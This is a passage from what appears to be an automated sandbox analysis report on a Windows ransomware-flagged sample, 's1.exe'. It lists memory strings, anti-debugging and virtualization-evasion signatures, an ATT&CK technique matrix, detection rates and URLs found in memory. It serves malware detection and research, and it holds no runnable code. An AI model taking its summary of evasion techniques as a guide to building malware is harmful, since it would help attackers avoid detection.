Source: explorer.exe, 00000008.00000003.305799133.0000000005E8C000.00000004.00000001.sdmpBinary or memory string: 9Tm\Device\HarddiskVolume2\??\Volume{ef47ea26-ec76-4a6e-8680-9e53b539546d}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: en_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ROCESSOR_REVISION=5507ProgB
Source: explorer.exe, 00000008.00000003.393738249.0000000006EE8000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P1lRl~
Source: explorer.exe, 00000008.00000003.337803230.000000000F7A9000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000004.00000000.248031513.000000000F6C0000.00000004.00000001.sdmpBinary or memory string: STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&J
Source: explorer.exe, 00000004.00000000.241391462.0000000008220000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.451845201.00000240A2000000.00000002.00000001.sdmp, SearchUI.exe, 00000026.00000002.564007945.00000112F8C00000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SearchUI.exe, 00000012.00000002.407730930.000002409CF79000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.559234470.00000112F3BCF000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW@
Source: explorer.exe, 00000008.00000003.407453548.0000000005F25000.00000004.00000001.sdmpBinary or memory string: 00100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}_s
Source: explorer.exe, 00000008.00000003.417066829.00000000059B2000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Anti Debugging:

barindex
Potentially malicious time measurement code foundShow sources
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3A900_2_00AC3A90
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3B000_2_00AC3B00
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3880 rdtsc 0_2_00AC3880
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B8FA46 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00B8FA46
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B99CB0 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,0_2_00B99CB0
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B8FA46 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00B8FA46
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B89C26 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00B89C26
Source: explorer.exe, 00000004.00000000.215018442.0000000001398000.00000004.00000020.sdmpBinary or memory string: ProgmanamF
Source: explorer.exe, 00000004.00000000.215214697.0000000001980000.00000002.00000001.sdmpBinary or memory string: Program Manager
Source: s1.exe, 00000000.00000002.723534993.0000000001190000.00000002.00000001.sdmp, explorer.exe, 00000004.00000000.238464799.0000000006860000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWnd
Source: s1.exe, 00000000.00000002.723534993.0000000001190000.00000002.00000001.sdmp, explorer.exe, 00000004.00000000.215214697.0000000001980000.00000002.00000001.sdmpBinary or memory string: Progman
Source: explorer.exe, 00000004.00000000.215214697.0000000001980000.00000002.00000001.sdmpBinary or memory string: Progmanlock
Source: s1.exe, 00000000.00000002.723534993.0000000001190000.00000002.00000001.sdmpBinary or memory string: jProgram Manager
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3680 cpuid 0_2_00AC3680
Source: C:\Users\user\Desktop\s1.exeCode function: GetLocaleInfoA,0_2_00B9B2DF
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState VolumeInformation
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeQueries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00ACA010 __time64,GetSystemTimeAsFileTime,GetCurrentThreadId,0_2_00ACA010
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B993FB __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_00B993FB
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC7A30 GetStdHandle,GetFileType,_vswprintf_s,WriteFile,MultiByteToWideChar,_vswprintf_s,GetVersion,RegisterEventSourceW,ReportEventW,DeregisterEventSource,MessageBoxW,0_2_00AC7A30
Source: C:\Users\user\Desktop\s1.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: explorer.exe, 00000008.00000003.278531111.00000000033E2000.00000004.00000001.sdmpBinary or memory string: acs.exe

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsService Execution12Windows Service13Windows Service13Masquerading11OS Credential DumpingSystem Time Discovery2Taint Shared Content1Archive Collected Data11Exfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact1
Default AccountsNative API1Browser Extensions1Process Injection2Virtualization/Sandbox Evasion3LSASS MemoryQuery Registry1Remote Desktop ProtocolMan in the Browser1Exfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Registry Run Keys / Startup Folder1Registry Run Keys / Startup Folder1Process Injection2Security Account ManagerSecurity Software Discovery141SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Deobfuscate/Decode Files or Information1NTDSVirtualization/Sandbox Evasion3Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptHidden Files and Directories1LSA SecretsProcess Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonObfuscated Files or Information4Cached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsSoftware Packing1DCSyncFile and Directory Discovery4Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Information Discovery34Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
s1.exe49%VirustotalBrowse
s1.exe34%ReversingLabsWin32.Ransomware.Encoder
s1.exe100%Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
https://www.bing.c0%Avira URL Cloudsafe
http://www.tiro.com0%URL Reputationsafe
http://www.tiro.com0%URL Reputationsafe
http://www.tiro.com0%URL Reputationsafe
http://www.tiro.com0%URL Reputationsafe
https://mths.be/fromcodepoint0%VirustotalBrowse
https://mths.be/fromcodepoint0%Avira URL Cloudsafe
http://www.goodfont.co.kr0%URL Reputationsafe
http://www.goodfont.co.kr0%URL Reputationsafe
http://www.goodfont.co.kr0%URL Reputationsafe
http://www.goodfont.co.kr0%URL Reputationsafe
http://www.sajatypeworks.com0%URL Reputationsafe
http://www.sajatypeworks.com0%URL Reputationsafe
http://www.sajatypeworks.com0%URL Reputationsafe
http://www.sajatypeworks.com0%URL Reputationsafe
http://schemas.microso0%URL Reputationsafe
http://schemas.microso0%URL Reputationsafe
http://schemas.microso0%URL Reputationsafe
http://schemas.microso0%URL Reputationsafe
http://www.typography.netD0%URL Reputationsafe
http://www.typography.netD0%URL Reputationsafe
http://www.typography.netD0%URL Reputationsafe
http://www.typography.netD0%URL Reputationsafe
http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
http://fontfabrik.com0%URL Reputationsafe
http://fontfabrik.com0%URL Reputationsafe
http://fontfabrik.com0%URL Reputationsafe
http://fontfabrik.com0%URL Reputationsafe
http://schemas.microsx0%Avira URL Cloudsafe
http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
https://business.ocked0%Avira URL Cloudsafe
https://www.microsoft.c0%Avira URL Cloudsafe
http://www.sandoll.co.kr0%URL Reputationsafe
http://www.sandoll.co.kr0%URL Reputationsafe
http://www.sandoll.co.kr0%URL Reputationsafe
https://onedrive.live.comi.prototype.getAllAccountTokens0%Avira URL Cloudsafe
http://www.urwpp.deDPlease0%URL Reputationsafe
http://www.urwpp.deDPlease0%URL Reputationsafe
http://www.urwpp.deDPlease0%URL Reputationsafe
http://www.zhongyicts.com.cn0%URL Reputationsafe
http://www.zhongyicts.com.cn0%URL Reputationsafe
http://www.zhongyicts.com.cn0%URL Reputationsafe
http://www.sakkal.com0%URL Reputationsafe
http://www.sakkal.com0%URL Reputationsafe
http://www.sakkal.com0%URL Reputationsafe
http://facebook.github.io/react/docs/error-decoder.html?invariant0%Avira URL Cloudsafe
http://www.w3.or0%URL Reputationsafe
http://www.w3.or0%URL Reputationsafe
http://www.w3.or0%URL Reputationsafe
http://schemas.micros0%Avira URL Cloudsafe
http://www.carterandcone.coml0%URL Reputationsafe
http://www.carterandcone.coml0%URL Reputationsafe
http://www.carterandcone.coml0%URL Reputationsafe
http://schemas.microsJ0%Avira URL Cloudsafe
http://www.founder.com.cn/cn0%URL Reputationsafe
http://www.founder.com.cn/cn0%URL Reputationsafe
http://www.founder.com.cn/cn0%URL Reputationsafe
https://aefd.nelreports.net/api/report?cat=bingaot0%URL Reputationsafe
https://aefd.nelreports.net/api/report?cat=bingaot0%URL Reputationsafe
https://aefd.nelreports.net/api/report?cat=bingaot0%URL Reputationsafe
http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
https://aefd.nelreports.net/api/report?cat=bingrms0%Avira URL Cloudsafe
http://schemas.micros$0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://www.fontbureau.com/designersGexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
    high
    http://www.fontbureau.com/designers/?explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
      high
      http://www.founder.com.cn/cn/bTheexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
      • URL Reputation: safe
      • URL Reputation: safe
      • URL Reputation: safe
      • URL Reputation: safe
      unknown
      https://www.bing.cSearchUI.exe, 00000012.00000002.400698854.000002409AD91000.00000004.00000001.sdmpfalse
      • Avira URL Cloud: safe
      unknown
      http://www.fontbureau.com/designers?explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
        high
        http://schemas.live.com/Web/1betSearchUI.exe, 00000012.00000002.405561038.000002409CF24000.00000004.00000001.sdmpfalse
          high
          http://www.tiro.comSearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          unknown
          http://www.fontbureau.com/designersSearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
            high
            https://mths.be/fromcodepointSearchUI.exe, 00000012.00000002.464612117.00000248A2D72000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.568817663.0000011AF9AC4000.00000004.00000001.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            unknown
            http://www.goodfont.co.krexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            • URL Reputation: safe
            unknown
            https://www.msn.com/spartan/dhpSearchUI.exe, 00000026.00000002.562806916.00000112F8A1F000.00000004.00000001.sdmpfalse
              high
              http://schemas.live.com/Web/onSearchUI.exe, 00000012.00000002.446702628.00000240A1072000.00000004.00000001.sdmpfalse
                high
                https://outlook.office.com/SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpfalse
                  high
                  https://www.msn.com/spartan/ntpSearchUI.exe, 00000026.00000002.562806916.00000112F8A1F000.00000004.00000001.sdmpfalse
                    high
                    http://www.sajatypeworks.comexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    http://schemas.microsoexplorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    http://www.typography.netDexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    http://www.founder.com.cn/cn/cTheexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    http://www.galapagosdesign.com/staff/dennis.htmexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    http://www.w3.SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpfalse
                      high
                      http://fontfabrik.comexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://pf.directory.live.com/profile/profile.asmx;.WSH;SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpfalse
                        high
                        https://outlook.office.com/User.ReadWriteSearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpfalse
                          high
                          http://schemas.microsxexplorer.exe, 00000008.00000003.305658033.0000000005EBA000.00000004.00000001.sdmpfalse
                          • Avira URL Cloud: safe
                          unknown
                          https://substrate.office.com/api/v2.0/Users(SearchUI.exe, 00000012.00000003.317389835.00000248A30A8000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpfalse
                            high
                            https://substrate.office.com/profile/v0/users/SearchUI.exe, 00000012.00000003.317389835.00000248A30A8000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000002.483557744.00000248A3024000.00000004.00000001.sdmpfalse
                              high
                              http://www.galapagosdesign.com/DPleaseexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              unknown
                              https://business.ockedSearchUI.exe, 00000026.00000002.568625250.0000011AF9A3B000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              https://www.microsoft.cSearchUI.exe, 00000012.00000002.458923182.00000240A2777000.00000004.00000001.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              https://api.msn.com/news/feed?market=en-us&query=SearchUI.exe, 00000012.00000002.490465404.00000248A3DB9000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.583615151.0000011AFB8F9000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.558047573.00000112F17AE000.00000004.00000001.sdmpfalse
                                high
                                http://www.fonts.comexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                  high
                                  http://www.sandoll.co.krexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://onedrive.live.comi.prototype.getAllAccountTokensSearchUI.exe, 00000026.00000002.594696526.0000011AFBF00000.00000004.00000001.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.urwpp.deDPleaseexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  http://www.zhongyicts.com.cnexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  http://www.sakkal.comexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://www.msn.com/spartan/ntpXSearchUI.exe, 00000012.00000002.454763590.00000240A2298000.00000004.00000001.sdmpfalse
                                    high
                                    http://facebook.github.io/react/docs/error-decoder.html?invariantSearchUI.exe, 00000012.00000002.491853562.00000248A53F0000.00000004.00000001.sdmp, SearchUI.exe, 00000012.00000003.341869917.00000248A34A5000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.538358081.0000011AF9EEB000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.513372490.0000011AF9E23000.00000004.00000001.sdmpfalse
                                    • Avira URL Cloud: safe
                                    unknown
                                    http://www.apache.org/licenses/LICENSE-2.0explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                      high
                                      http://www.fontbureau.comexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                        high
                                        https://www.openssl.org/docs/faq.html....................cryptos1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmpfalse
                                          high
                                          https://www.openssl.org/docs/faq.htmls1.exe, s1.exe, 00000000.00000000.194812148.0000000000BA0000.00000002.00020000.sdmpfalse
                                            high
                                            http://www.w3.orSearchUI.exe, 00000012.00000002.464612117.00000248A2D72000.00000004.00000001.sdmpfalse
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            unknown
                                            http://schemas.microsexplorer.exe, 00000008.00000003.436870688.0000000005EBA000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://www.msn.com/news?ocid=SearchUI.exe, 00000012.00000002.488178575.00000248A3B30000.00000004.00000001.sdmpfalse
                                              high
                                              https://www.msn.com/spartan/dhp8SearchUI.exe, 00000012.00000002.454763590.00000240A2298000.00000004.00000001.sdmpfalse
                                                high
                                                http://schema.org/reminderSearchUI.exe, 00000012.00000002.389116825.000002409AC29000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000002.557017455.00000112F1629000.00000004.00000001.sdmpfalse
                                                  high
                                                  http://www.carterandcone.comlexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  http://schemas.microsJexplorer.exe, 00000008.00000003.436870688.0000000005EBA000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://www.fontbureau.com/designers/cabarga.htmlNexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                    high
                                                    https://substrate.office.comSearchUI.exe, 00000012.00000002.486954958.00000248A3823000.00000004.00000001.sdmpfalse
                                                      high
                                                      http://www.founder.com.cn/cnexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      http://www.fontbureau.com/designers/frere-jones.htmlexplorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                        high
                                                        https://aefd.nelreports.net/api/report?cat=bingaotSearchUI.exe, 00000026.00000003.516467904.0000011AF9AB6000.00000004.00000001.sdmp, SearchUI.exe, 00000026.00000003.514440929.0000011AF9B7A000.00000004.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        http://www.jiyu-kobo.co.jp/explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        unknown
                                                        http://www.fontbureau.com/designers8explorer.exe, 00000004.00000000.245906399.0000000008B46000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.435489949.000002409F5A6000.00000002.00000001.sdmpfalse
                                                          high
                                                          https://aefd.nelreports.net/api/report?cat=bingrmsSearchUI.exe, 00000026.00000002.568951937.0000011AF9B17000.00000004.00000001.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          https://pf.directory.live.com/profile/profile.asmxModuleSearchUI.exe, 00000012.00000002.389116825.000002409AC29000.00000004.00000001.sdmpfalse
                                                            high
